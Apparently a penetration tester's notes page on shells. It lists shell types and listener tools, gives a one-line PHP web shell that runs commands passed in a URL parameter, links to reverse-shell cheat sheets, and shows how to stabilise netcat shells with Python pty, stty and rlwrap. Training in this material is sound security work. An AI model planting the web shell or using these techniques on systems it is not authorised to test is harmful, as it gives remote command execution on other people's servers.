
## Type of Shell

- Shell (Normal Shell)
- Reverse Shell (Target forced to execute code/task that connects back to your computer)
- Blind Shell (Target is forced to execute code to start a listener attached to a shell directly on the target) -- (Limited because of Firewall)


## **Type of Shell**

- Netcat                                          ---> [[Red Team/4 - Exploitation/Shell & Reverse Shell/2 - Listeners/• Netcat]]
- Socat                                            ---> [[• Socat (Encrypted)]]
- Multi/Handler (Metasploit)          ---> [[• Multi Handler]]
- Web Shell

	As PHP is still the most common server side scripting language, let's have a look at some simple code for this.
	
	In a very basic one line format:

	```
	<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
	```

	This will take a GET parameter in the URL and execute it on the system with `shell_exec()`. Essentially, what this means is that any commands we enter in the URL after `?cmd=` will be executed on the system -- be it Windows or Linux. The "pre" elements are to ensure that the results are formatted correctly on the page.

	Let's see this in action:
	![](https://i.imgur.com/W19gHwL.png)

**Creating Shell**
- Link <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">Number 1</a>
- Link <a href="https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Number 2</a>


## Shell Stabilisation

Pressing Ctrl + C kills the whole thing. They are non-interactive, and often have strange formatting errors. This is due to netcat "shells" really being processes running _inside_ a terminal, rather than being bonafide terminals in their own right. Fortunately, there are many ways to stabilise netcat shells on Linux systems. We'll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we'll be covering here is particularly useful for it.  

- Technique 1 (Python) 

	The first technique we'll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:

	1.  The first thing to do is use `python -c 'import pty;pty.spawn("/bin/bash")'`, which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replace `python` with `python2` or `python3` as required. At this point our shell will look a bit prettier, but we still won't be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.
	2.  Step two is: `export TERM=xterm` -- this will give us access to term commands such as `clear`.
	3.  Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use `stty raw -echo; fg`. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

	The full technique can be seen here:

	![](https://i.imgur.com/bQnFz1T.png)

	Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type `reset` and press enter.  

- Technique 2 (rlwrap)

	rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell_;_ however, s_ome_ manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with `sudo apt install rlwrap`.

	To use rlwrap, we invoke a slightly different listener:

	`rlwrap nc -lvnp <port>`  

	Prepending our netcat listener with "rlwrap" gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it's possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use `stty raw -echo; fg` to stabilise and re-enter the shell.  